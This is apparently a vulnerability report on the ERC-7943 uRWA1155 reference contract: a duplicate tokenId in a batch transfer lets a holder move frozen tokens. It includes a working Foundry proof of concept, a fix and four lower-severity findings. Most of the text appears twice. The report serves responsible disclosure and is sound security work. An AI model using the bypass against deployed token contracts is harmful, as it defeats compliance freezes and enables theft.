Summary
The uRWA1155 reference implementation (assets/erc-7943/contracts/uRWA1155.sol) lets a holder with no privileged role move frozen tokens out of their account by repeating the same tokenId within a single safeBatchTransferFrom. This defeats the freeze guarantee that is the core purpose of ERC-7943 (setFrozenTokens / ERC7943InsufficientUnfrozenBalance).
ERC-7943 reached Final on 2026-05-27 and these reference contracts are the natural starting point for issuers, so the bug is likely to be copied into production RWA tokens.
Affected code
uRWA1155._update transfer branch (lines 225-232), with the actual balance debit happening only after the loop (line 242):
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 value = values[i];
uint256 unfrozenBalance = _unfrozenBalance(from, id); // re-read fresh each iteration
require(value <= balanceOf(from, id), ERC1155InsufficientBalance(from, balanceOf(from, id), value, id));
require(value <= unfrozenBalance, ERC7943InsufficientUnfrozenBalance(from, id, value, unfrozenBalance));
}
// ...
super._update(from, to, ids, values); // single debit, AFTER the loop (line 242)
Each batch element is validated against _unfrozenBalance(from, id), re-read fresh every iteration from the not-yet-decremented balance. The real debit (super._update) runs once, after the loop. When the same id appears twice, both entries pass the value <= unfrozenBalance check against the same stale figure, so the cumulative amount moved can reach min(balance, unfrozen * N), exceeding the unfrozen balance.
Impact
- A whitelisted holder whose position was partially frozen by
FREEZING_ROLE (a sanctions hold, vesting lock, or compliance freeze, which is the headline feature of an RWA token) can transfer the entire frozen portion out in one transaction, with no special permissions.
- After the drain,
getFrozenTokens still reports the stale frozen amount on a now-empty account, corrupting downstream compliance accounting and indexers.
- This is also a
canTransfer view/execution divergence: canTransfer(holder, dest, id, 100) correctly returns false, yet the duplicate-id batch moves 100, so integrators using canTransfer as a pre-flight oracle are misled.
The bug is bounded (it cannot exceed the raw balance, and a fully-frozen position where each chunk individually exceeds the unfrozen amount still reverts), but within those bounds it liberates the entire frozen portion of a partially-frozen balance.
Proof of concept
Drop this into assets/erc-7943/test/Dup1155PoC.t.sol and run forge test --match-path 'test/Dup1155PoC.t.sol' -vv using the repository's existing Foundry config (OpenZeppelin v5.1.0, solc 0.8.29):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.29;
import {Test} from "forge-std/Test.sol";
import {uRWA1155} from "../contracts/uRWA1155.sol";
contract Dup1155PoC is Test {
uRWA1155 token;
address admin = address(0xA11CE);
address holder = address(0xBEEF);
address dest = address(0xD35);
uint256 constant ID = 1;
function setUp() public {
vm.startPrank(admin);
token = new uRWA1155("ipfs://x/{id}.json", admin); // admin receives all roles
token.changeSendWhitelist(holder, true);
token.changeReceiveWhitelist(holder, true);
token.changeSendWhitelist(dest, true);
token.changeReceiveWhitelist(dest, true);
token.mint(holder, ID, 100);
token.setFrozenTokens(holder, ID, 50); // 50 of 100 frozen, 50 unfrozen
vm.stopPrank();
}
// Sanity: a single transfer of 60 (> unfrozen 50) reverts as designed.
function test_SingleOverUnfrozenReverts() public {
vm.prank(holder);
vm.expectRevert(); // ERC7943InsufficientUnfrozenBalance
token.safeTransferFrom(holder, dest, ID, 60, "");
}
// Bug: batch [id, id] with [50, 50] drains the full 100, including the 50 frozen.
function test_DuplicateIdBatchBypassesFrozen() public {
uint256[] memory ids = new uint256[](2);
uint256[] memory vals = new uint256[](2);
ids[0] = ID; ids[1] = ID;
vals[0] = 50; vals[1] = 50;
vm.prank(holder);
token.safeBatchTransferFrom(holder, dest, ids, vals, "");
emit log_named_uint("holder balance after", token.balanceOf(holder, ID));
emit log_named_uint("dest balance after", token.balanceOf(dest, ID));
emit log_named_uint("frozen after (stale)", token.getFrozenTokens(holder, ID));
assertEq(token.balanceOf(holder, ID), 0, "holder drained including frozen");
assertEq(token.balanceOf(dest, ID), 100, "dest received everything");
assertEq(token.getFrozenTokens(holder, ID), 50, "frozen counter stale on empty account");
}
}
Output:
[PASS] test_SingleOverUnfrozenReverts()
[PASS] test_DuplicateIdBatchBypassesFrozen()
holder balance after: 0
dest balance after: 100
frozen after (stale): 50
Recommended fix
Accumulate per-id draws across the batch before validating, or validate against a decrementing working copy of the balance. For example, sum values per unique id and require the per-id total <= _unfrozenBalance(from, id). (Reverting on any duplicate id in a batch would also close the gap but is more restrictive than ERC-1155 requires.)
Additional findings (same review, lower severity)
While reviewing the three reference contracts I also found conformance issues below, each backed by a reproduced Foundry PoC:
| # |
Contract(s) |
Severity |
Issue |
| 1 |
uRWA20, 721, 1155 |
Low |
Self-directed forcedTransfer (from == to) runs _excessFrozenUpdate before a no-op balance move, zeroing the frozen counter while the holder keeps every token; no from != to guard. |
| 2 |
uRWA20, 1155 |
Low |
canTransfer returns true for an over-balance amount when frozen == 0 (the balance check is nested inside if (frozen > 0)); the uRWA721 sibling does include a feasibility gate. |
| 3 |
uRWA20, 1155 |
Low |
Burning a full balance while frozen > balance leaves a stale frozen counter (frozen > 0 at balance == 0) that wrongly locks later mints to the same account. |
| 4 |
uRWA721, 1155 |
Low |
forcedTransfer into a receive-whitelisted contract that is not an ERC721/1155 receiver reverts, while the uRWA20 variant succeeds: cross-variant inconsistency on the seizure path. |
I am happy to open these as separate issues or share the full report and PoC suite.
Summary
The
uRWA1155reference implementation (assets/erc-7943/contracts/uRWA1155.sol) lets a holder with no privileged role move frozen tokens out of their account by repeating the sametokenIdwithin a singlesafeBatchTransferFrom. This defeats the freeze guarantee that is the core purpose of ERC-7943 (setFrozenTokens/ERC7943InsufficientUnfrozenBalance).ERC-7943 reached Final on 2026-05-27 and these reference contracts are the natural starting point for issuers, so the bug is likely to be copied into production RWA tokens.
Affected code
uRWA1155._updatetransfer branch (lines 225-232), with the actual balance debit happening only after the loop (line 242):Each batch element is validated against
_unfrozenBalance(from, id), re-read fresh every iteration from the not-yet-decremented balance. The real debit (super._update) runs once, after the loop. When the sameidappears twice, both entries pass thevalue <= unfrozenBalancecheck against the same stale figure, so the cumulative amount moved can reachmin(balance, unfrozen * N), exceeding the unfrozen balance.Impact
FREEZING_ROLE(a sanctions hold, vesting lock, or compliance freeze, which is the headline feature of an RWA token) can transfer the entire frozen portion out in one transaction, with no special permissions.getFrozenTokensstill reports the stale frozen amount on a now-empty account, corrupting downstream compliance accounting and indexers.canTransferview/execution divergence:canTransfer(holder, dest, id, 100)correctly returnsfalse, yet the duplicate-id batch moves 100, so integrators usingcanTransferas a pre-flight oracle are misled.The bug is bounded (it cannot exceed the raw balance, and a fully-frozen position where each chunk individually exceeds the unfrozen amount still reverts), but within those bounds it liberates the entire frozen portion of a partially-frozen balance.
Proof of concept
Drop this into
assets/erc-7943/test/Dup1155PoC.t.soland runforge test --match-path 'test/Dup1155PoC.t.sol' -vvusing the repository's existing Foundry config (OpenZeppelin v5.1.0, solc 0.8.29):Output:
Recommended fix
Accumulate per-
iddraws across the batch before validating, or validate against a decrementing working copy of the balance. For example, sumvaluesper uniqueidand require the per-id total<= _unfrozenBalance(from, id). (Reverting on any duplicate id in a batch would also close the gap but is more restrictive than ERC-1155 requires.)Additional findings (same review, lower severity)
While reviewing the three reference contracts I also found conformance issues below, each backed by a reproduced Foundry PoC:
forcedTransfer(from == to) runs_excessFrozenUpdatebefore a no-op balance move, zeroing the frozen counter while the holder keeps every token; nofrom != toguard.canTransferreturnstruefor an over-balance amount whenfrozen == 0(the balance check is nested insideif (frozen > 0)); theuRWA721sibling does include a feasibility gate.frozen > balanceleaves a stale frozen counter (frozen > 0atbalance == 0) that wrongly locks later mints to the same account.forcedTransferinto a receive-whitelisted contract that is not an ERC721/1155 receiver reverts, while theuRWA20variant succeeds: cross-variant inconsistency on the seizure path.I am happy to open these as separate issues or share the full report and PoC suite.